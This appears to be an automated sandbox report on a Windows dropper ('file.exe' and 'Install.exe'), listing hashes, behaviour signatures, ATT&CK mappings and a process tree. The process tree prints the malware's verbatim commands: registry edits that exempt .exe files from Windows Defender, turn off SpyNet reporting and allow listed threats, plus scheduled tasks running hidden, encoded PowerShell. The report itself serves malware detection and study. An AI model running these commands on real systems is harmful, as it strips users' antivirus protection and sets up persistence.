Analysis

  • max time kernel
    168s
  • max time network
    202s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-11-2022 13:40

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    1d403a08252cb0cea368c5a2383efbf1

  • SHA1

    ace16e30c1f12c22ec655caf04b62abda3f2049e

  • SHA256

    dce6cdd2c122b887725c2a60ec7761a93c1ead60ba78d49aff5677161fad4c63

  • SHA512

    0c7706a396914174524301a0821aed281ad1b742ea1e3a9c2757558188d6732b09f3f8e510807f5ec369639118f0f2a85f6c5650067bb78c5cc488d6d5ce4eab

  • SSDEEP

    196608:91OUh4w9xODsuDG6jl1ac/jkkeFXgQV/BQekON18vntX:3OcxO9DHF0X5QexantX

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 1 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3644
    • C:\Users\Admin\AppData\Local\Temp\7zS280A.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4184
      • C:\Users\Admin\AppData\Local\Temp\7zS2DF5.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3816
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4788
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1364
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:3232
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5016
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1120
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4544
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:368
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "ghRtTcpcL" /SC once /ST 07:43:45 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4204
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "ghRtTcpcL"
                  4⤵
                    PID:3380
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "ghRtTcpcL"
                    4⤵
                      PID:1100
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bPisEBnRwoxYOmuHrm" /SC once /ST 14:43:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\zYysAoL.exe\" mF /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:3736
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4472
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:3496
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:3204
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                    1⤵
                      PID:3428
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:3484
                      • C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\zYysAoL.exe
                        C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\zYysAoL.exe mF /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:3068
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                            PID:2648

                        Network

                        MITRE ATT&CK Matrix ATT&CK v6

                        Execution

                        Scheduled Task

                        1
                        T1053

                        Persistence

                        Scheduled Task

                        1
                        T1053

                        Privilege Escalation

                        Scheduled Task

                        1
                        T1053

                        Discovery

                        Query Registry

                        3
                        T1012

                        System Information Discovery

                        4
                        T1082

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Temp\7zS280A.tmp\Install.exe
                          Filesize

                          6.3MB

                          MD5

                          081a27acfe7cf0b18d2fb3e1edf1a8c7

                          SHA1

                          a0dfcadecc9b4aa7841e1a2148c4d76e6f59fb48

                          SHA256

                          f8bda0a287b1154bfd6ffb0465c6cf633af175b550453996d40f448739c2b029

                          SHA512

                          321bdee078bd4d7db098aa57a2a19d802c12a9b35b9dd9801ca9bb924dbf48c948acc949da768ff7fd11624c1434b306b8301f143be4d79626c6c433c789b5c5

                        • C:\Users\Admin\AppData\Local\Temp\7zS280A.tmp\Install.exe
                          Filesize

                          6.3MB

                          MD5

                          081a27acfe7cf0b18d2fb3e1edf1a8c7

                          SHA1

                          a0dfcadecc9b4aa7841e1a2148c4d76e6f59fb48

                          SHA256

                          f8bda0a287b1154bfd6ffb0465c6cf633af175b550453996d40f448739c2b029

                          SHA512

                          321bdee078bd4d7db098aa57a2a19d802c12a9b35b9dd9801ca9bb924dbf48c948acc949da768ff7fd11624c1434b306b8301f143be4d79626c6c433c789b5c5

                        • C:\Users\Admin\AppData\Local\Temp\7zS2DF5.tmp\Install.exe
                          Filesize

                          6.8MB

                          MD5

                          a37dbf6bceec57a1792cefc8691b4930

                          SHA1

                          97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                          SHA256

                          edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                          SHA512

                          b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                        • C:\Users\Admin\AppData\Local\Temp\7zS2DF5.tmp\Install.exe
                          Filesize

                          6.8MB

                          MD5

                          a37dbf6bceec57a1792cefc8691b4930

                          SHA1

                          97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                          SHA256

                          edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                          SHA512

                          b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                        • C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\zYysAoL.exe
                          Filesize

                          6.8MB

                          MD5

                          a37dbf6bceec57a1792cefc8691b4930

                          SHA1

                          97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                          SHA256

                          edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                          SHA512

                          b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                        • C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\zYysAoL.exe
                          Filesize

                          6.8MB

                          MD5

                          a37dbf6bceec57a1792cefc8691b4930

                          SHA1

                          97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

                          SHA256

                          edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

                          SHA512

                          b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

                        • memory/368-148-0x0000000000000000-mapping.dmp
                        • memory/1100-155-0x0000000000000000-mapping.dmp
                        • memory/1120-144-0x0000000000000000-mapping.dmp
                        • memory/1364-145-0x0000000000000000-mapping.dmp
                        • memory/2648-162-0x0000000000000000-mapping.dmp
                        • memory/3068-159-0x0000000010000000-0x0000000010D2B000-memory.dmp
                          Filesize

                          13.2MB

                        • memory/3232-147-0x0000000000000000-mapping.dmp
                        • memory/3380-150-0x0000000000000000-mapping.dmp
                        • memory/3496-153-0x0000000000000000-mapping.dmp
                        • memory/3736-156-0x0000000000000000-mapping.dmp
                        • memory/3816-141-0x0000000000000000-mapping.dmp
                        • memory/4184-132-0x0000000000000000-mapping.dmp
                        • memory/4204-149-0x0000000000000000-mapping.dmp
                        • memory/4472-152-0x00007FF852730000-0x00007FF8531F1000-memory.dmp
                          Filesize

                          10.8MB

                        • memory/4472-154-0x00007FF852730000-0x00007FF8531F1000-memory.dmp
                          Filesize

                          10.8MB

                        • memory/4472-151-0x000002635ABD0000-0x000002635ABF2000-memory.dmp
                          Filesize

                          136KB

                        • memory/4488-138-0x0000000010000000-0x0000000010D2B000-memory.dmp
                          Filesize

                          13.2MB

                        • memory/4488-135-0x0000000000000000-mapping.dmp
                        • memory/4544-146-0x0000000000000000-mapping.dmp
                        • memory/4788-143-0x0000000000000000-mapping.dmp
                        • memory/5016-142-0x0000000000000000-mapping.dmp